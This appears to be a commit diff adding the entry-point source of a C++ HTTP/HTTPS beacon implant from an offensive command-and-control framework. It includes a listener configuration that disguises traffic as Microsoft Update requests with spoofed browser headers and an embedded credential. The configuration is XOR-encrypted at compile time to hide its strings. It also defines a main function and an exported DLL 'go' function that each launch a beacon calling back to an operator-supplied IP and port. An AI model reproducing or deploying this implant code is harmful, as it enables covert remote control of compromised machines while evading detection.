1+ #include " BeaconHttp.hpp"
2+
3+
4+ using namespace std ;
5+
6+
7+ // XOR encrypted at compile time, so don't appear in string
8+ // size of the config contained between () must be set in the compileTimeXOR template function
9+ constexpr std::string_view _BeaconHttpConfig_ = R"( {
10+ "ListenerHttpConfig": [
11+ {
12+ "uri": [
13+ "/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
14+ "/MicrosoftUpdate/ShellEx/KB242742/admin.aspx",
15+ "/MicrosoftUpdate/ShellEx/KB242742/download.aspx"
16+ ],
17+ "client": [
18+ {
19+ "headers": [
20+ {
21+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
22+ },
23+ {
24+ "Connection": "Keep-Alive"
25+ },
26+ {
27+ "Content-Type": "text/plain;charset=UTF-8"
28+ },
29+ {
30+ "Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
31+ },
32+ {
33+ "Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
34+ },
35+ {
36+ "Keep-Alive": "timeout=5, max=1000"
37+ },
38+ {
39+ "Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
40+ },
41+ {
42+ "Accept": "*/*"
43+ },
44+ {
45+ "Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
46+ },
47+ {
48+ "Sec-Ch-Ua-Platform": "Windows"
49+ }
50+ ]
51+ }
52+ ]
53+ }
54+ ],
55+ "ListenerHttpsConfig": [
56+ {
57+ "uri": [
58+ "/MicrosoftUpdate/ShellEx/KB242742/default.aspx",
59+ "/MicrosoftUpdate/ShellEx/KB242742/upload.aspx",
60+ "/MicrosoftUpdate/ShellEx/KB242742/config.aspx"
61+ ],
62+ "client": [
63+ {
64+ "headers": [
65+ {
66+ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
67+ },
68+ {
69+ "Connection": "Keep-Alive"
70+ },
71+ {
72+ "Content-Type": "text/plain;charset=UTF-8"
73+ },
74+ {
75+ "Content-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7"
76+ },
77+ {
78+ "Authorization": "YWRtaW46c2RGSGVmODQvZkg3QWMtIQ=="
79+ },
80+ {
81+ "Keep-Alive": "timeout=5, max=1000"
82+ },
83+ {
84+ "Cookie": "PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1"
85+ },
86+ {
87+ "Accept": "*/*"
88+ },
89+ {
90+ "Sec-Ch-Ua": "\"Not.A/Brand\";v=\"8\", \"Chromium\";v=\"114\", \"Google Chrome\";v=\"114\""
91+ },
92+ {
93+ "Sec-Ch-Ua-Platform": "Windows"
94+ }
95+ ]
96+ }
97+ ]
98+ }
99+ ]
100+ })" ;
101+
102+ constexpr std::string_view keyConfig = " .CRT$XCL" ;
103+
104+ // compile time encryption of http configuration
105+ constexpr std::array<char , 3564 > _EncryptedBeaconHttpConfig_ = compileTimeXOR<3564 , 8 >(_BeaconHttpConfig_, keyConfig);
106+
107+
108+ int main (int argc, char * argv[])
109+ {
110+ std::string ip = " ..." ;
111+ if (argc > 1 )
112+ ip = argv[1 ];
113+
114+ int port = 8443 ;
115+ if (argc > 2 )
116+ port = atoi (argv[2 ]);
117+
118+ bool https = false ;
119+ if (argc > 3 )
120+ {
121+ std::string sHttps = argv[3 ];
122+ if (sHttps ==" https" )
123+ https=true ;
124+ else if (sHttps ==" http" )
125+ https=false ;
126+ }
127+
128+ // decrypt HttpConfig
129+ std::string configDecrypt (std::begin (_EncryptedBeaconHttpConfig_), std::end (_EncryptedBeaconHttpConfig_));
130+ std::string key (keyConfig);
131+ XOR (configDecrypt, key);
132+
133+ std::unique_ptr<Beacon> beacon;
134+ beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
135+
136+ beacon->run ();
137+ }
138+
139+
140+ #ifdef __linux__
141+ #elif _WIN32
142+
143+ extern " C" __declspec(dllexport) int go (PCHAR argv)
144+ {
145+ // OutputDebugStringA("HelperFunc was executed");
146+ // OutputDebugStringA(argv);
147+
148+ std::vector<std::string> splitedCmd;
149+ std::string delimiter = " " ;
150+ splitList (argv, delimiter, splitedCmd);
151+
152+ // OutputDebugStringA(splitedCmd[0].c_str());
153+ // OutputDebugStringA(splitedCmd[1].c_str());
154+ // OutputDebugStringA(splitedCmd[2].c_str());
155+
156+ if (splitedCmd.size () == 3 )
157+ {
158+ std::string ip = splitedCmd[0 ];
159+ int port = -1 ;
160+ try
161+ {
162+ port = stoi (splitedCmd[1 ]);
163+ }
164+ catch (...)
165+ {
166+ return 1 ;
167+ }
168+
169+ bool https = true ;
170+ std::string sHttps = splitedCmd[2 ];
171+ if (sHttps ==" https" )
172+ https=true ;
173+
174+ // decrypt HttpConfig
175+ std::string configDecrypt (std::begin (_EncryptedBeaconHttpConfig_), std::end (_EncryptedBeaconHttpConfig_));
176+ std::string key (keyConfig);
177+ XOR (configDecrypt, key);
178+
179+ std::unique_ptr<Beacon> beacon;
180+ beacon = make_unique<BeaconHttp>(configDecrypt, ip, port, https);
181+
182+ beacon->run ();
183+ }
184+
185+ return 0 ;
186+ }
187+
188+ #endif
0 commit comments